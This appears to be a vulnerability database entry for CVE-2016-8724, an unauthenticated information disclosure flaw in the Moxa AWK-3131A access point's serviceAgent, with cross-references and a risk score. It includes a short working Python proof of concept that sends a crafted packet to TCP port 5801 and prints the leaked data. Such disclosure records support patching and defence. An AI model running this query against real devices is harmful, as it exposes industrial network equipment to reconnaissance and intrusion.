Moxa AWK-3131A serviceAgent Information Disclosure Vulnerability(CVE-2016-8724)

🗓️ 19 Sep 2017 00:00:00Reported by RootType

Moxa AWK-3131A information disclosure vulnerability in serviceAgent allows unauthenticated TCP queries to retrieve sensitive info

Reporter	Title	Published	Views	Family All 11
CNVD	Moxa AWK-3131A Wireless Access Point Information Disclosure Vulnerability	19 May 201700:00	–	cnvd
CVE	CVE-2016-8724	13 Apr 201719:00	–	cve
Cvelist	CVE-2016-8724	13 Apr 201719:00	–	cvelist
EUVD	EUVD-2016-9563	7 Oct 202500:30	–	euvd
NVD	CVE-2016-8724	13 Apr 201719:59	–	nvd
OpenVAS	Moxa AWK Series serviceAgent Information Disclosure Vulnerability	11 Apr 201700:00	–	openvas
OSV	CVE-2016-8724	13 Apr 201719:59	–	osv
Prion	Information disclosure	13 Apr 201719:59	–	prion
Positive Technologies	PT-2017-9766 · Moxa · Moxa Awk-3131A Wireless Access Point	13 Apr 201700:00	–	ptsecurity
Talos	Moxa AWK-3131A serviceAgent Information Disclosure Vulnerability	10 Apr 201700:00	–	talos


                                                #!/usr/bin/python

import socket

host = '<device IP>'
port = 5801

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))
s.send(
"\x00\x01\x00\x01\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x0c\x29\xd3\xe0\x26\x00\x90\xe8\x57\x23\x07" +
"\x00\x00\x00\x05\x00\x02\x00\x06\x00\x18\x00\x00\x00\x00")

print s.recv(1024)

s.close()

19 Sep 2017 00:00Current

5.3Medium risk

Vulners AI Score5.3

EPSS0.03205